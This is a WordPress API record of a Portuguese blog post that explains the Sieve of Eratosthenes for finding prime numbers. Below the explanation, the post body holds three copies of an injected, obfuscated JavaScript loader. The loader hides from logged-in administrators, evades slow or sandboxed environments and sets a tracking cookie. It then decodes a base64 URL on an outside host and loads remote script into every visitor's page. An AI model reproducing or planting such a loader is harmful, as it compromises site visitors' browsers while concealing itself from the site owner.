{"id":1605,"date":"2011-06-07T10:30:38","date_gmt":"2011-06-07T13:30:38","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1605"},"modified":"2025-10-26T22:39:39","modified_gmt":"2025-10-27T01:39:39","slug":"crivo-de-eratostenes","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/06\/07\/crivo-de-eratostenes\/","title":{"rendered":"Crivo de Erat\u00f3stenes"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/2011\/06\/07\/crivo-de-eratostenes\/\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-full wp-image-1677\" title=\"qrcode\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/06\/qrcode3.png\" alt=\"qrcode\" width=\"120\" height=\"120\" \/><\/a>Os n\u00fameros primos possuem v\u00e1rias aplica\u00e7\u00f5es, como criptografia e seguran\u00e7a dos dados (por exemplo: SSL, X509, certificados, chaves privadas, ..), e a obten\u00e7\u00e3o deles de forma eficiente sempre foi alvo de estudo dos matem\u00e1ticos.<\/p>\n<p style=\"text-align: justify;\">O Crivo de Erat\u00f3stenes \u00e9 um algoritmo muito simples e eficiente para gerar n\u00fameros primos. Esse algoritmo consiste em remover os m\u00faltiplos de um determinando conjunto.<br \/>\nPor exemplo, quero achar todos os n\u00fameros primos de 1 a 120. O algoritmo gera um conjunto com todos os n\u00fameros de 2 a 120 (j\u00e1 que 1 n\u00e3o \u00e9 primo). Utiliza o primeiro n\u00famero (que no caso \u00e9 2), e vai removendo os m\u00faltiplos: 4, 6, 8, 10, .... e marca o 2 como primo, procura o pr\u00f3ximo n\u00e3o removido que \u00e9 o 3, marca como primo, e vai removendo os m\u00faltiplos se n\u00e3o foram removidos anteriormente: 6, 9, 12, 15... Ele vai fazendo isso at\u00e9 raiz quadrada do n\u00famero m\u00e1ximo que voc\u00ea quer verificar. Se a raiz n\u00e3o \u00e9 inteira, truncamos (menor inteiro). No nosso exemplo, raiz quadrado de 120, que fica entre 10 e 11 e portanto s\u00f3 precisamos verificar os m\u00faltiplos at\u00e9 10. Garantindo que buscamos por todos os m\u00faltiplos poss\u00edveis at\u00e9 120.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Os n\u00fameros primos possuem v\u00e1rias aplica\u00e7\u00f5es, como criptografia e seguran\u00e7a dos dados (por exemplo: SSL, X509, certificados, chaves privadas, ..), e a obten\u00e7\u00e3o deles de forma eficiente sempre foi alvo de estudo dos matem\u00e1ticos. O Crivo de Erat\u00f3stenes \u00e9 um <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/06\/07\/crivo-de-eratostenes\/\">Continue lendo  <span class=\"screen-reader-text\">  Crivo de Erat\u00f3stenes<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-1605","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1605","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1605"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1605\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1605"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1605"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}